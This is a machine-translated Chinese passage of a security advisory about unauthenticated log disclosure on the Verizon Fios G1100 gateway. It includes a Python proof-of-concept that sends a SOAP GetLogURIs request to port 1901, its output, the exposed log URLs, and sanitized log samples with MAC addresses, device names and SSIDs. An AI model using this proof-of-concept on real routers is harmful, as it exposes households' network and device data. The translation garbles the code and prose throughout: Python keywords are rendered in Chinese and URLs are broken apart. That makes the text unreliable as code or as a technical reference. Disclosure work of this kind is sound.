(R2) Verizon Fios量子网关G1100远程信息披露

虽然测试改进Nessus“实现我们发现一个信息披露在Verizon的脆弱性Fios量子网关G1100。G1100有三个“倾听”服务器。一个用户可以禁用和两个他们不能。这个咨询涉及用户的“服务器在端口1901上不能禁用。这个服务器首先引起了我们的注意是因为它的API列表。你可以看到在这个输出列表upnp_info.py

python upnp_info albinolobster@ubuntu: ~ $。py[+]发现“位置[+]发现完整的[+]2位置发现:- > http://192.168.1.1:1990 WFADevice。xml - > http://192.168.1.1:1901 /根。xml(+)加载http://192.168.1.1:1901 root.xml……- >服务器弦:“Linux / 3.4 / 2.0 bhr4/1.2 = = = = = = = XML属性- >设备类型:urn: schemas-upnp-org装置:ManageableDevice: 2 - >友好的名称:Verizon FiOS-G1100 - >制造商:Verizon - >制造商URL: http://www.verizon.com - >模型描述:Verizon Communications Inc .) - >模型名称:FiOS-G1100 - >型号:FiOS-Gen4 - >服务:= >服务类型:urn: schemas-upnp-org服务:BasicManagement: 2 = >控制:/ bms = >事件:/ bmsEvent = > API: http://192.168.1.1:1901 / XML / basic_management_service。xml -重启BaselineReset GetDeviceStatus - SetSequenceMode GetSequenceMode - Ping - GetPingResult网路资讯查询GetNSLookupResult - Traceroute GetTracerouteResult GetBandwidthTestInfo - BandwidthTest GetBandwidthTestResult InterfaceReset - GetInterfaceResetResult GetTestIDs GetActiveTestIDs - GetTestInfo CancelTest GetLogURIs - SetLogInfo GetLogInfo GetACLData = >服务类型:urn: schemas-upnp-org服务:ConfigurationManagement: 2 = >控制:/ cms = >事件:/ cmsEvent = > API: http://192.168.1.1:1901 / xml / configuration_management_service。xml - GetSupportedDataModels GetSupportedParameters getinstance - getvalue GetSelectedValues setvalue - GetAttributes GetConfigurationUpdate GetCurrentConfigurationVersion - GetSupportedDataModelsUpdate GetSupportedParametersUpdate GetAttributeValuesUpdate - GetAlarmsEnabled SetAlarmsEnabled GetACLData = >服务类型:urn: schemas-upnp-org服务:DeviceProtection: 1 = >控制:/ dps = >事件:/ dpsEvent = > API: http://192.168.1.1:1901 / xml / device_protection_service。xml - GetAssignedRoles GetRolesForAction GetACLData - AddIdentityList RemoveIdentity

特别感兴趣的是方法GetLogURIs广告由basic_management_service.xml。我们写了get_log_uris.py行使GetLogURIsAPI。

进口xml.etree。ElementTree,等进口要求进口sys def create_payload():有效载荷= (' < ?xml version = " 1.0 " ?> ' + ' < SOAP-ENV:信封xmlns: SOAP-ENV = " http://schemas.xmlsoap.org/soap/envelope/ " SOAP-ENV: encodingStyle = " http://schemas.xmlsoap.org/soap/encoding/ " >“+”< SOAP-ENV:身体> ' + ' < m: GetLogURIs xmlns: m = " urn: schemas-upnp-org:服务:BasicManagement: 2”>“+”< / m: GetLogURIs >“+”< / SOAP-ENV:身体>“+”< / SOAP-ENV:信封> ")返回负载如果len (sys.argv) ! = 2:打印的用法:/ get_log_uris。py < url >“sys.exit(0)指数= 0载荷= create_payload () soapActionHeader = {“soapaction”:“urn: schemas-upnp-org:服务:BasicManagement: 2 # GetLogURIs '} resp = requests.post (sys。argv [1], data =有效负载,如果resp header = soapActionHeader)。status_code ! = 200:打印错误状态:% d %职责。其他status_code:打印resp.text

执行get_log_uris.py应该像下面这样。

python get_log_uris albinolobster@ubuntu: ~ $。py http://192.168.1.1:1901 bms < ?xml version = " 1.0 " ?> < s:信封xmlns: = " http://schemas.xmlsoap.org/soap/envelope/ "年代:encodingStyle = " http://schemas.xmlsoap.org/soap/encoding/ " > < s:身体> < u: GetLogURIsResponse xmlns: u = " urn: schemas-upnp-org:服务:BasicManagement: 2 " > < LogURIs >日志/ dhcp_client /系统日志,日志/ dhcp_server日志/安全/防火墙日志,日志/ intrusion_detection日志/ parental_control日志“/日志/ sdhl_alert日志/ sdhl_operation日志/ tr69日志/ firmware_update日志/ lpr < / LogURIs > < / u: GetLogURIsResponse > < / s:身体> < / s:信封>

一个未经身份验证的请求的服务器响应一个uri列表。假设路由器使用的地址192.168.1.1uri映射到以下位置:

1. http://192.168.1.1:1901 /日志/ dhcp_client
2. http://192.168.1.1:1901 / logs /系统
3. http://192.168.1.1:1901 /日志/ dhcp_server
4. http://192.168.1.1:1901 /日志/安全
5. http://192.168.1.1:1901 /日志/防火墙
6. http://192.168.1.1:1901 /日志/ intrusion_detection
7. http://192.168.1.1:1901 /日志/ parental_control
8. “http://192.168.1.1:1901 /日志/
9. http://192.168.1.1:1901 /日志/ sdhl_alert
10. http://192.168.1.1:1901 /日志/ sdhl_operation
11. http://192.168.1.1:1901 /日志/ tr69
12. http://192.168.1.1:1901 /日志/ firmware_update
13. http://192.168.1.1:1901 /日志/ lpr

的时候发现,所有的日志都是可收回的远程未经身份验证的用户(局域网和广域网)。DHCP所包含的一些信息泄露的信息(设备名称、mac地址、局域网IP地址),无线信息(名称、联系客户),而且,由于防火墙的工作方式,一个地址列表,可能是与局域网设备。这里有一些日志样本。请注意,我做清洁一些数据。

了dhcpd: 2017年11月20日15:19:28 local3.info < 158 > DHCPREQUEST 192.168.1.207从ca: fe: c0: ff: ee: 00(通过br-lan DESKTOP-TENABLE) 2017年11月20日15:19:28 local3.info了dhcpd: < 158 > DHCPACK在192.168.1.207 ca: fe: c0: ff: ee: 00(通过br-lan DESKTOP-TENABLE) 2017年11月20日15:19:28 local3.info了dhcpd: < 158 > 192.168.1.207租用了86400秒,更新在0秒,重新绑定在0秒

2017年11月20日上午11:20:28 UTC, justlog.tr98。名称,wifi24 TENABLE_SSID 2017年11月20日11:20:28 UTC, justlog.tr98。wifi24频道11 2017年11月20日11:20:28 UTC, justlog.tr98。wifi24 bssid, ca: fe: c0: ff: ee: 00 2017年11月20日11:20:28 UTC, justlog.tr98。wifi24、x_d4a928_connectionmode B_G_N 2017年11月20日11:20:28 UTC, justlog.tr98。wifi24, associateddevice {associateddevicemacaddress = ca x_d4a928_cur-snr = 17日:菲:c0: ff: ee: 01, x_d4a928_packetstransmitted = 5792358, x_d4a928_packetsreceived = 1236, x_d4a928_transceiversetting = NA x 3: 2, x_d4a928_curtxmodulationrate = 117 Mbps, x_d4a928_standard = N, currssi = -62, x_d4a928_currxmodulationrate = 130 Mbps, x_d4a928_channel = 11, x_d4a928_maxrxmodulationrate = 144.4 Mbps, associateddeviceauthenticationstate = true};{x_d4a928_cur-snr = 20, associateddevicemacaddress = ca: fe: c0: ff: ee: 02, x_d4a928_packetstransmitted = 6474801, x_d4a928_packetsreceived = 71558, x_d4a928_transceiversetting = NA x 3: 2, x_d4a928_curtxmodulationrate = 24 Mbps, x_d4a928_standard = N, currssi = -58, x_d4a928_currxmodulationrate = 144.4 Mbps, x_d4a928_channel = 11, x_d4a928_maxrxmodulationrate = 144.4 Mbps, associateddeviceauthenticationstate = true};{x_d4a928_cur-snr = 0, associateddevicemacaddress = ca: fe: c0: ff: ee: 03, x_d4a928_packetstransmitted = 5869243, x_d4a928_packetsreceived = 44419, x_d4a928_transceiversetting = NA x 3: 1, x_d4a928_curtxmodulationrate = 39 Mbps, x_d4a928_standard = N, currssi = -77, x_d4a928_currxmodulationrate = 43.3 Mbps, x_d4a928_channel = 11, x_d4a928_maxrxmodulationrate = 72.2 Mbps, associateddeviceauthenticationstate = true};{x_d4a928_cur-snr = 7, associateddevicemacaddress = ca: fe: c0: ff: ee: 04, x_d4a928_packetstransmitted = 5792979, x_d4a928_packetsreceived = 27111, x_d4a928_transceiversetting = NA x 3: 1, x_d4a928_curtxmodulationrate = 19.5 Mbps, x_d4a928_standard = N, currssi = -71, x_d4a928_currxmodulationrate = 26 Mbps, x_d4a928_channel = 11, x_d4a928_maxrxmodulationrate = 72.2 Mbps, associateddeviceauthenticationstate = true}]

2017年11月20日15:37:58 local5。注意< 173 > ulogd[655]:阻塞在= eth1 = MAC = ca: fe: c0: ff: ee: 00 SRC = 8.8.8.8 DST = 9.9.9.9 LEN = 83 TOS = 00 PREC = 0 x00 TTL = 59 ID = 4109 DF原型= TCP SPT = 443 DPT = 64543 > = 22216784 = 3489197999窗口= 1175消消PSH URGP = 0 = 0

Verizon固定这个信息披露从广域网禁止访问。路由器所有者不需要采取任何行动升级,因为路由器自动更新本身。不幸的是,这些日志仍可以在本地网络上的任何人。